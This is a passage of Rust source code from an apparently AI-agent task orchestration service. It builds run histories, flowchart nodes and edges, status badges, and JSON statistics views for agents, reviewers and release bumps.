6314        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6315        None => "whether its attempt was handed back was not recorded",
6316    };
6317    let pass_note = if passes_of_run > 1 {
6318        format!(
6319            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6320        )
6321    } else {
6322        String::new()
6323    };
6324    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6325        // The run recorded this pass's end when it happened.
6326        let cause = match v.end {
6327            "parked" => format!("It was stopped on purpose: {}.", v.label),
6328            _ => format!("It {}.", v.label),
6329        };
6330        format!(
6331            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6332            capitalise(cost_words)
6333        )
6334    } else if let Some(k) = resumed_later {
6335        // A run is only picked up again while it is unfinished, so an earlier
6336        // pass of a repeated id stopped short; the record keeps only the run's
6337        // latest status, which is left to the pass that carried it on.
6338        // Only the latest state is recorded: `parked` is cleared on resume
6339        // and `quota` accumulates across passes, so neither says why *this*
6340        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6341        let cause = if s.quota.is_empty() {
6342            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6343        } else {
6344            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6345        };
6346        format!(
6347            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6348        )
6349    } else if s.parked {
6350        match recorded_end.and_then(|v| v.cause.as_ref()) {
6351            Some(cause) => format!(
6352                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6353                cause.label(),
6354                cost_words
6355            ),
6356            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6357                .to_owned(),
6358        }
6359    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6360        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6361    } else if !status.done()
6362        || matches!(
6363            status,
6364            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6365        )
6366    {
6367        String::new()
6368    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6369        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6370    {
6371        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6372            .to_owned()
6373    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6374        " It left a pull request open, so the task was held for a person rather than retried."
6375            .to_owned()
6376    } else if matches!(status, RunStatus::VerifiedNoop) {
6377        " Held for a person to check the claim.".to_owned()
6378    } else if last {
6379        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6380    } else {
6381        " It spent an attempt, and the task moved on to the next run.".to_owned()
6382    };
6383    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6384    let mut attempt = exit.cost();
6385    let mut exit_label = None;
6386    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6387        let spent = match v.cost {
6388            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6389            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6390            None if resumed_later.is_some() => ", refund not recorded",
6391            None => ", attempt refunded",
6392        };
6393        attempt = match v.cost {
6394            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6395            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6396            None if resumed_later.is_some() => AttemptCost::Unknown,
6397            None => attempt,
6398        };
6399        if v.end == "parked" {
6400            exit = RunExit::Parked;
6401            exit_label = Some(match v.cause.as_ref() {
6402                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6403                    format!("parked for {}{spent}", c.label())
6404                }
6405                Some(c) => format!("parked ({}){spent}", c.label()),
6406                None => format!("parked{spent}"),
6407            });
6408        } else {
6409            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6410        }
6411    }
6412    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6413    TaskRunView {
6414        activity: None,
6415        n,
6416        id: id.to_owned(),
6417        short,
6418        kind,
6419        status: Some(status.as_str()),
6420        readable: true,
6421        provisional,
6422        description,
6423        outcome: format!("{head}{why}"),
6424        created_at: Some(s.created_at),
6425        pr: s.pr.as_ref().map(|p| p.url.clone()),
6426        exit,
6427        attempt,
6428        exit_label,
6429        later_pass: resumed_later,
6430        pass_n,
6431        passes_of_run,
6432        pass: view,
6433        branch: branch.map(str::to_owned),
6434        badge: None,
6435    }
6436}
6437
6438fn capitalise(s: &str) -> String {
6439    let mut c = s.chars();
6440    c.next().map_or_else(String::new, |f| {
6441        f.to_uppercase().collect::<String>() + c.as_str()
6442    })
6443}
6444
6445/// One box of the task's flowchart.
6446#[derive(Debug, Serialize, PartialEq)]
6447struct FlowNode {
6448    /// Unique by position: a resumed run id appears once per pass.
6449    key: String,
6450    /// `chat`, `followup`, `start`, `run` or `end`.
6451    kind: &'static str,
6452    label: String,
6453    /// Run status (or the task's, for `end`); `None` when it is not a fact
6454    /// about this box (unreadable, or a pass the run later resumed from).
6455    status: Option<&'static str>,
6456    /// Whose status `status` is, so the client picks the right colour table:
6457    /// `task` (the `followup` parent and `end`) or `run`.
6458    status_of: &'static str,
6459    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6460    note: Option<&'static str>,
6461    run_kind: Option<&'static str>,
6462    detail: Option<String>,
6463    /// A readable run with a real verdict; a stall never is.
6464    decided: bool,
6465    readable: bool,
6466    href: Option<String>,
6467    /// Overrides `status` as the badge word (`stale` / `superseded`).
6468    badge: Option<String>,
6469    /// Start of this entry, never the run's latest update or pass settlement.
6470    started_at: Option<Timestamp>,
6471    /// Context links (chat / follow-up) do not represent execution entries.
6472    time_expected: bool,
6473}
6474
6475#[derive(Debug, Serialize, PartialEq)]
6476struct FlowEdge {
6477    from: String,
6478    to: String,
6479    label: String,
6480    attempt: AttemptCost,
6481}
6482
6483#[derive(Debug, Serialize, PartialEq)]
6484struct FlowView {
6485    nodes: Vec<FlowNode>,
6486    edges: Vec<FlowEdge>,
6487    /// Attempts the task has counted since it was last released.
6488    attempts: usize,
6489    max_attempts: usize,
6490    /// Entries in the run list (passes), and how many distinct runs they are.
6491    /// Neither is the number of attempts consumed.
6492    passes: usize,
6493    runs: usize,
6494}
6495
6496/// Turn a task and its described runs into the flowchart's boxes and arrows.
6497/// Pure: the page only draws what this returns.
6498///
6499/// A follow-up opens with its parent (or the merged run) unless the task's
6500/// *source* is itself a chat, in which case the chat stays first and the
6501/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6502/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6503/// two normally do not coincide and the nearer origin wins.
6504fn task_flow(
6505    task: &Task,
6506    history: &[TaskRunView],
6507    max_attempts: usize,
6508    origin: Option<&FollowUpOrigin>,
6509) -> FlowView {
6510    let max_attempts = task.effective_attempt_limit(max_attempts);
6511    let node = |key: &str, kind, label: String| FlowNode {
6512        key: key.to_owned(),
6513        kind,
6514        label,
6515        status: None,
6516        status_of: "run",
6517        note: None,
6518        run_kind: None,
6519        detail: None,
6520        decided: false,
6521        readable: true,
6522        href: None,
6523        badge: None,
6524        started_at: None,
6525        time_expected: matches!(kind, "start" | "run" | "end"),
6526    };
6527    let mut nodes = Vec::new();
6528    let mut edges: Vec<FlowEdge> = Vec::new();
6529    // A task queued from a chat opens the flow with that conversation.
6530    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6531        let mut n = node(
6532            "chat",
6533            "chat",
6534            format!("Chat {}", crate::queue::short(&link.id)),
6535        );
6536        n.href = Some(link.href);
6537        nodes.push(n);
6538        edges.push(FlowEdge {
6539            from: "chat".to_owned(),
6540            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6541            label: "queued from chat".to_owned(),
6542            attempt: AttemptCost::None,
6543        });
6544    }
6545    if let Some(o) = origin {
6546        let mut n = match &o.parent {
6547            Some(p) => {
6548                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6549                n.status = Some(p.status);
6550                n.status_of = "task";
6551                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6552                n.href = Some(p.href.clone());
6553                n
6554            }
6555            None => {
6556                let mut n = node(
6557                    "origin",
6558                    "followup",
6559                    format!("Follow-up of run {}", o.run.short),
6560                );
6561                n.detail = Some("merged run".to_owned());
6562                n.status = o.run.status;
6563                n.href = o.run.href.clone();
6564                if o.run.href.is_none() {
6565                    n.readable = false;
6566                    n.note = Some("unreadable");
6567                }
6568                n
6569            }
6570        };
6571        n.decided = true;
6572        let from = n.key.clone();
6573        nodes.push(n);
6574        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6575        let more = o.findings.len().saturating_sub(shown.len());
6576        let label = match (shown.is_empty(), more) {
6577            (true, _) => "open findings".to_owned(),
6578            (false, 0) => format!("open findings {}", shown.join(", ")),
6579            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6580        };
6581        edges.push(FlowEdge {
6582            from,
6583            to: "start".to_owned(),
6584            label,
6585            attempt: AttemptCost::None,
6586        });
6587    }
6588    let mut start = node("start", "start", "Task queued".to_owned());
6589    start.started_at = Some(task.created_at);
6590    nodes.push(start);
6591    let mut prev = "start".to_owned();
6592    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6593    for (i, h) in history.iter().enumerate() {
6594        let key = format!("run-{}", h.n);
6595        let mut n = node(&key, "run", format!("Run {}", h.short));
6596        // Creation marks only the first pass of legacy runs. A resumed pass
6597        // without a record must not inherit the original run's start time.
6598        n.started_at = h
6599            .readable
6600            .then(|| {
6601                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6602                    h.created_at
6603                } else {
6604                    None
6605                })
6606            })
6607            .flatten();
6608        n.run_kind = Some(h.kind);
6609        n.readable = h.readable;
6610        n.href = Some(format!("#/runs/{}", h.id));
6611        n.decided = h.readable && !h.provisional;
6612        n.detail = h
6613            .branch
6614            .as_ref()
6615            .map(|b| format!("review-only run of branch {b}"));
6616        match h.exit {
6617            RunExit::Unreadable => n.note = Some("unreadable"),
6618            RunExit::Interrupted => n.note = Some("interrupted"),
6619            // An earlier pass the run recorded as parked: the status shown
6620            // would be the run's current one, not this pass's.
6621            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6622            _ => {
6623                n.status = h.status;
6624                n.badge = h.badge.clone();
6625                if h.provisional {
6626                    n.note = Some("no verdict");
6627                }
6628            }
6629        }
6630        let into = match h.kind {
6631            "review" => Some(format!(
6632                "review-only run of branch {}",
6633                h.branch.as_deref().unwrap_or("?")
6634            )),
6635            "resume" => Some("resume the same run".to_owned()),
6636            _ if i > 0 => Some("retry".to_owned()),
6637            _ => None,
6638        };
6639        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6640        let label = match (prev_exit, into) {
6641            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6642            (Some((_, l, _)), None) => l,
6643            (None, Some(i)) => i,
6644            (None, None) => "claimed".to_owned(),
6645        };
6646        edges.push(FlowEdge {
6647            from: prev.clone(),
6648            to: key.clone(),
6649            label,
6650            attempt,
6651        });
6652        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6653        prev = key;
6654        nodes.push(n);
6655    }
6656    let mut end = node("end", "end", task.status.as_str().to_owned());
6657    end.status = Some(task.status.as_str());
6658    end.status_of = "task";
6659    // Other task states do not persist their transition start. In particular,
6660    // blocked_at can change while the task remains blocked.
6661    if task.status == TaskStatus::Held {
6662        end.started_at = task.held_at;
6663    }
6664    nodes.push(end);
6665    let (label, attempt) = match prev_exit {
6666        None => (
6667            format!("no run yet \u{2192} {}", task.status.as_str()),
6668            AttemptCost::None,
6669        ),
6670        Some((e, l, cost)) if e.explains(task.status) => {
6671            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6672        }
6673        Some((_, _, cost)) => (
6674            format!("closed by hand: task is {}", task.status.as_str()),
6675            cost,
6676        ),
6677    };
6678    edges.push(FlowEdge {
6679        from: prev,
6680        to: "end".to_owned(),
6681        label,
6682        attempt,
6683    });
6684    FlowView {
6685        nodes,
6686        edges,
6687        attempts: task.attempts,
6688        max_attempts,
6689        passes: history.len(),
6690        runs: distinct_runs(&task.runs),
6691    }
6692}
6693
6694/// How many different run ids a task's run list names.
6695fn distinct_runs(runs: &[String]) -> usize {
6696    let mut seen: Vec<&str> = Vec::new();
6697    for r in runs {
6698        if !seen.contains(&r.as_str()) {
6699            seen.push(r);
6700        }
6701    }
6702    seen.len()
6703}
6704
6705/// Describe recorded task passes, retaining unrecorded legacy list entries.
6706fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6707    let mut slots = Vec::new();
6708    let mut seen = Vec::new();
6709    for run_id in &task.runs {
6710        if seen.contains(&run_id) {
6711            continue;
6712        }
6713        seen.push(run_id);
6714        let state = read(run_id);
6715        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6716            s.passes
6717                .iter()
6718                .filter(|p| {
6719                    p.task_entry
6720                        || task
6721                            .passes
6722                            .iter()
6723                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6724                })
6725                .cloned()
6726                .collect()
6727        });
6728        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6729        let total = legacy_count.max(mine.len());
6730        let offset = total - mine.len();
6731        for k in 0..total {
6732            // Legacy repeated entries retain their original positions. When
6733            // ids are unique, recorded pass times recover the resume order.
6734            let position = task
6735                .runs
6736                .iter()
6737                .enumerate()
6738                .filter(|(_, r)| *r == run_id)
6739                .nth(k.min(legacy_count - 1))
6740                .unwrap()
6741                .0;
6742            slots.push((
6743                run_id,
6744                state.clone(),
6745                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6746                position,
6747            ));
6748        }
6749    }
6750    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6751        slots.sort_by_key(|(_, state, pass, _)| {
6752            pass.as_ref()
6753                .map(|p| p.started_at)
6754                .or_else(|| state.as_ref().map(|s| s.created_at))
6755                .map_or((true, task.created_at), |at| (false, at))
6756        });
6757    } else {
6758        slots.sort_by_key(|(_, _, _, position)| *position);
6759    }
6760    let mut history = Vec::with_capacity(slots.len());
6761    let mut seen: Vec<&str> = Vec::new();
6762    let mut prior: Option<(&str, RunStatus)> = None;
6763    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6764        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6765        let resumed = k > 0;
6766        seen.push(run_id);
6767        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6768        let pass = pass.as_ref();
6769        let settled = pass.and_then(|p| {
6770            task.passes
6771                .iter()
6772                .find(|t| t.run == **run_id && t.pass_index == p.index)
6773        });
6774        history.push(task_run_view(
6775            run_id,
6776            state.as_ref(),
6777            RunSlot {
6778                n: i + 1,
6779                resumed,
6780                resumed_later: slots[i + 1..]
6781                    .iter()
6782                    .position(|(id, _, _, _)| id == run_id)
6783                    .map(|off| i + off + 2),
6784                prior,
6785                last: i + 1 == slots.len(),
6786                pass,
6787                settled,
6788                pass_n: k + 1,
6789                passes_of_run: total,
6790            },
6791            task,
6792        ));
6793        if let Some(s) = &state {
6794            prior = Some((run::short_of(run_id), s.status));
6795        }
6796    }
6797    history
6798}
6799
6800/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6801/// An earlier pass of a resumed run keeps no badge (it has no status box).
6802fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6803    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6804        return;
6805    }
6806    let (_, claimed, _) = run_row_inputs(ui);
6807    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6808    for h in history
6809        .iter_mut()
6810        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6811    {
6812        let Ok(state) = read_run(&ui.runs, &h.id) else {
6813            continue;
6814        };
6815        if state.status.done() {
6816            continue;
6817        }
6818        let live = state.liveness_with(
6819            claimed.contains(&h.id),
6820            |p| probe.borrow_mut().status(p),
6821            |p| probe.borrow_mut().started_at(p),
6822        );
6823        let waiting = !ui.questions.open_for(&h.id).is_empty();
6824        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6825        let display = run_display_status(&state, waiting, live);
6826        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6827        if matches!(word.as_str(), "stale" | "superseded")
6828            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6829        {
6830            h.badge = Some(word);
6831        }
6832    }
6833}
6834
6835async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6836    blocking(move || {
6837        let id = resolve_task(&ui.queue, &id)?;
6838        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6839    })
6840    .await
6841}
6842
6843async fn task_detail(
6844    State(ui): State<Arc<Ui>>,
6845    Path(id): Path<String>,
6846) -> ApiResult<Json<TaskDetailView>> {
6847    blocking(move || {
6848        let id = resolve_task(&ui.queue, &id)?;
6849        let task = ui
6850            .queue
6851            .get(&id)
6852            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6853        let inv = if task.status == TaskStatus::Blocked {
6854            Some(crate::blockers::Inventory::load_for(
6855                &ui.queue,
6856                &ui.questions,
6857                &task,
6858            ))
6859        } else {
6860            None
6861        };
6862        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6863        mark_badges(&ui, &task, &mut history);
6864        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6865        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6866        let origin = task.followup.as_ref().map(|fu| {
6867            followup_origin(
6868                fu,
6869                |tid| ui.queue.get(tid).ok(),
6870                |rid| read_run(&ui.runs, rid).ok(),
6871            )
6872        });
6873        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6874        let task_view = match inv.as_ref() {
6875            Some(inv) => TaskView::with_inventory(task, inv),
6876            None => TaskView::from(task),
6877        }
6878        .with_recovery_decisions(&ui.questions);
6879        Ok(Json(TaskDetailView {
6880            max_attempts,
6881            flow,
6882            followup_origin: origin,
6883            passes_total: history.len(),
6884            runs_distinct: distinct_runs(&task_view.task.runs),
6885            history,
6886            runs_unreadable,
6887            attempts_note: ATTEMPTS_NOTE,
6888            task: task_view,
6889        }))
6890    })
6891    .await
6892}
6893
6894/// A rate together with its denominator, so the client can tell "computed as
6895/// 0%" apart from "no data to compute it from" — both would otherwise
6896/// serialize as `0.0`. `None` means the denominator was zero.
6897#[derive(Debug, Serialize)]
6898struct RateView {
6899    pct: f64,
6900    denominator: usize,
6901}
6902
6903impl RateView {
6904    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6905        (denominator > 0).then(|| Self {
6906            pct: 100.0 * numerator as f64 / denominator as f64,
6907            denominator,
6908        })
6909    }
6910}
6911
6912/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6913/// rates, each paired with its own denominator via [`RateView`] rather than
6914/// exposing `Stats`' own percentage methods directly — see this module's
6915/// doc for why `Stats` itself is never serialized.
6916#[derive(Debug, Serialize)]
6917struct StatsTotalsView {
6918    runs: usize,
6919    merged: usize,
6920    ready: usize,
6921    blocked: usize,
6922    failed: usize,
6923    stalled: usize,
6924    verified_noop: usize,
6925    superseded: usize,
6926    in_progress: usize,
6927    completion_rate: Option<RateView>,
6928    tallied: usize,
6929    split: usize,
6930    split_rate: Option<RateView>,
6931    deliberated: usize,
6932    minds_changed: usize,
6933    converged: usize,
6934    review_rounds: usize,
6935}
6936
6937impl From<&stats::Totals> for StatsTotalsView {
6938    fn from(t: &stats::Totals) -> Self {
6939        Self {
6940            runs: t.runs,
6941            merged: t.merged,
6942            ready: t.ready,
6943            blocked: t.blocked,
6944            failed: t.failed,
6945            stalled: t.stalled,
6946            verified_noop: t.verified_noop,
6947            superseded: t.superseded,
6948            in_progress: t.in_progress,
6949            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6950            tallied: t.tallied,
6951            split: t.split,
6952            split_rate: RateView::of(t.split, t.tallied),
6953            deliberated: t.deliberated,
6954            minds_changed: t.minds_changed,
6955            converged: t.converged,
6956            review_rounds: t.review_rounds,
6957        }
6958    }
6959}
6960
6961/// [`crate::stats::AgentStats`] for the wire.
6962#[derive(Debug, Serialize)]
6963struct AgentStatsView {
6964    agent: String,
6965    entered: usize,
6966    wins: usize,
6967    empty: usize,
6968    win_rate: Option<RateView>,
6969    competitive_entered: usize,
6970    competitive_wins: usize,
6971    competitive_win_rate: Option<RateView>,
6972    solo_entered: usize,
6973    solo_adopted: usize,
6974    solo_adoption_rate: Option<RateView>,
6975}
6976
6977impl From<&stats::AgentStats> for AgentStatsView {
6978    fn from(a: &stats::AgentStats) -> Self {
6979        Self {
6980            agent: a.agent.clone(),
6981            entered: a.entered,
6982            wins: a.wins,
6983            empty: a.empty,
6984            win_rate: RateView::of(a.wins, a.entered),
6985            competitive_entered: a.competitive_entered,
6986            competitive_wins: a.competitive_wins,
6987            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6988            solo_entered: a.solo_entered,
6989            solo_adopted: a.solo_adopted,
6990            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6991        }
6992    }
6993}
6994
6995/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6996/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6997/// value, `None` when `rounds` is zero.
6998#[derive(Debug, Serialize)]
6999struct ReviewerStatsView {
7000    agent: String,
7001    rounds: usize,
7002    seated: usize,
7003    submitted: usize,
7004    adopted: usize,
7005    unique: usize,
7006    timeouts: usize,
7007    adopted_per_round: Option<f64>,
7008    precision: Option<RateView>,
7009    unique_rate: Option<RateView>,
7010    timeout_rate: Option<RateView>,
7011}
7012
7013impl From<&stats::ReviewerStats> for ReviewerStatsView {
7014    fn from(r: &stats::ReviewerStats) -> Self {
7015        Self {
7016            agent: r.agent.clone(),
7017            rounds: r.rounds,
7018            seated: r.seated,
7019            submitted: r.submitted,
7020            adopted: r.adopted,
7021            unique: r.unique,
7022            timeouts: r.timeouts,
7023            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7024            precision: RateView::of(r.adopted, r.submitted),
7025            unique_rate: RateView::of(r.unique, r.submitted),
7026            timeout_rate: RateView::of(r.timeouts, r.seated),
7027        }
7028    }
7029}
7030
7031/// [`crate::stats::AdvisorStats`] for the wire.
7032///
7033/// `reflection_rate` is approximate by construction — see
7034/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7035/// that caveat is static text in `index.html`, not a field here.
7036#[derive(Debug, Serialize)]
7037struct AdvisorStatsView {
7038    agent: String,
7039    seated: usize,
7040    proposed: usize,
7041    absent: usize,
7042    faint: usize,
7043    strong: usize,
7044    reflection_rate: Option<RateView>,
7045}
7046
7047impl From<&stats::AdvisorStats> for AdvisorStatsView {
7048    fn from(a: &stats::AdvisorStats) -> Self {
7049        Self {
7050            agent: a.agent.clone(),
7051            seated: a.seated,
7052            proposed: a.proposed,
7053            absent: a.absent,
7054            faint: a.faint,
7055            strong: a.strong,
7056            reflection_rate: RateView::of(a.strong, a.proposed),
7057        }
7058    }
7059}
7060
7061/// [`crate::stats::E2eStats`] for the wire.
7062#[derive(Debug, Serialize)]
7063struct E2eStatsView {
7064    rounds: usize,
7065    failures: usize,
7066    sole_detections: usize,
7067    deferred: usize,
7068    sole_rate: Option<RateView>,
7069}
7070
7071impl From<&stats::E2eStats> for E2eStatsView {
7072    fn from(e: &stats::E2eStats) -> Self {
7073        Self {
7074            rounds: e.rounds,
7075            failures: e.failures,
7076            sole_detections: e.sole_detections,
7077            deferred: e.deferred,
7078            sole_rate: RateView::of(e.sole_detections, e.failures),
7079        }
7080    }
7081}
7082
7083/// [`crate::stats::ReleaseBumpStats`] for the wire.
7084///
7085/// `clean` is sent as a raw count, computed the same way
7086/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7087/// needs_attention`) — never derived client-side from `automerge_enabled`,
7088/// which would misclassify a `merged_directly` bump (automerge rejected, but
7089/// magi merged it directly, so no human involvement) as needing attention.
7090#[derive(Debug, Serialize)]
7091struct ReleaseBumpStatsView {
7092    merged: usize,
7093    recorded: usize,
7094    pr_opened: usize,
7095    automerge_enabled: usize,
7096    merged_directly: usize,
7097    needs_attention: usize,
7098    clean: usize,
7099    coverage_rate: Option<RateView>,
7100    automerge_rate: Option<RateView>,
7101    attention_rate: Option<RateView>,
7102}
7103
7104impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7105    fn from(b: &stats::ReleaseBumpStats) -> Self {
7106        Self {
7107            merged: b.merged,
7108            recorded: b.recorded,
7109            pr_opened: b.pr_opened,
7110            automerge_enabled: b.automerge_enabled,
7111            merged_directly: b.merged_directly,
7112            needs_attention: b.needs_attention,
7113            clean: b.clean(),
7114            coverage_rate: RateView::of(b.recorded, b.merged),
7115            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7116            attention_rate: RateView::of(b.needs_attention, b.recorded),
7117        }
7118    }
7119}
7120
7121/// [`crate::queue::TaskCounts`] for the wire.
7122#[derive(Debug, Serialize)]
7123struct TaskCountsView {
7124    queued: usize,
7125    running: usize,
7126    done: usize,
7127    failed: usize,
7128    held: usize,
7129    blocked: usize,
7130    parked: usize,
7131}
7132
7133impl From<crate::queue::TaskCounts> for TaskCountsView {
7134    fn from(c: crate::queue::TaskCounts) -> Self {
7135        Self {
7136            queued: c.queued,
7137            running: c.running,
7138            done: c.done,
7139            failed: c.failed,
7140            held: c.held,
7141            blocked: c.blocked,
7142            parked: c.parked,
7143        }
7144    }
7145}
7146
7147/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7148/// runs recorded — the summary the UI's repository selector is built from.
7149/// Carries no nested `Stats`: picking a repo means re-fetching
7150/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7151/// aggregation rather than duplicating it.
7152#[derive(Debug, Serialize)]
7153struct RepoSummaryView {
7154    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7155    /// against, full path and all (see [`stats_get`]'s own doc for why).
7156    repo: String,
7157    /// Display name only; never used for matching.
7158    name: String,
7159    runs: usize,
7160    completion_rate: Option<RateView>,
7161}
7162
7163impl From<&stats::RepoStats> for RepoSummaryView {
7164    fn from(r: &stats::RepoStats) -> Self {
7165        let t = &r.stats.totals;
7166        Self {
7167            repo: r.repo.to_string_lossy().into_owned(),
7168            name: r.name.clone(),
7169            runs: t.runs,
7170            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7171        }
7172    }
7173}
7174
7175/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7176/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7177/// renders from them) are free to grow without that becoming a wire-contract
7178/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7179/// data" from "computed and it really is zero" the way [`RateView`] does.
7180#[derive(Debug, Serialize)]
7181struct StatsView {
7182    totals: StatsTotalsView,
7183    /// Best win rate first, as [`stats::collect`] already sorts it.
7184    agents: Vec<AgentStatsView>,
7185    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7186    reviewers: Vec<ReviewerStatsView>,
7187    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7188    advisors: Vec<AdvisorStatsView>,
7189    e2e: E2eStatsView,
7190    release_bumps: ReleaseBumpStatsView,
7191    queue: Option<TaskCountsView>,
7192    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7193    /// that field's doc. Asserted to match it in
7194    /// `stats_runs_unreadable_matches_health`.
7195    ///
7196    /// Always the whole-workload count, even when `repo` narrows every other
7197    /// field to one repository - an unreadable `run.json` carries no `repo`
7198    /// a per-repository count could attribute it to, and the queue/health
7199    /// views this mirrors never scope it either. The UI must not present it
7200    /// as if it were scoped to the selected repository.
7201    runs_unreadable: usize,
7202    /// Every repository with runs recorded, most runs first - what the UI's
7203    /// repository selector is built from. Always the full list regardless of
7204    /// `repo`, so switching repositories never needs a second request.
7205    repos: Vec<RepoSummaryView>,
7206    /// Runs per local day over the last 30 days, oldest first, always 30
7207    /// entries. Days are the *server's* local dates (the UI must not convert
7208    /// them again), cut by run creation and classified by current status.
7209    /// Narrowed by `repo` like every other run-derived field.
7210    daily: Vec<DailyStatsView>,
7211    /// The `?repo=` value this response was narrowed to, echoed back so the
7212    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7213    /// all-repositories view.
7214    repo: Option<String>,
7215    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7216    /// current config roster no longer lists them. Empty with `?all=true`, an
7217    /// unreadable config, or when nothing was retired.
7218    retired_hidden: Vec<String>,
7219}
7220
7221/// One day of [`StatsView::daily`].
7222#[derive(Debug, Serialize)]
7223struct DailyStatsView {
7224    /// `YYYY-MM-DD`, server-local.
7225    date: String,
7226    runs: usize,
7227    merged: usize,
7228    ready: usize,
7229    other: usize,
7230    /// `None` on a day with no runs, so it never reads as 0%.
7231    completion_rate: Option<RateView>,
7232}
7233
7234impl From<&stats::DayBucket> for DailyStatsView {
7235    fn from(b: &stats::DayBucket) -> Self {
7236        Self {
7237            date: b.date.to_string(),
7238            runs: b.runs,
7239            merged: b.merged,
7240            ready: b.ready,
7241            other: b.other,
7242            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7243        }
7244    }
7245}
7246
7247/// How many days [`StatsView::daily`] covers.
7248const STATS_DAILY_DAYS: usize = 30;
7249
7250/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7251/// repository. Matched by full-path equality against `RunState.repo` only
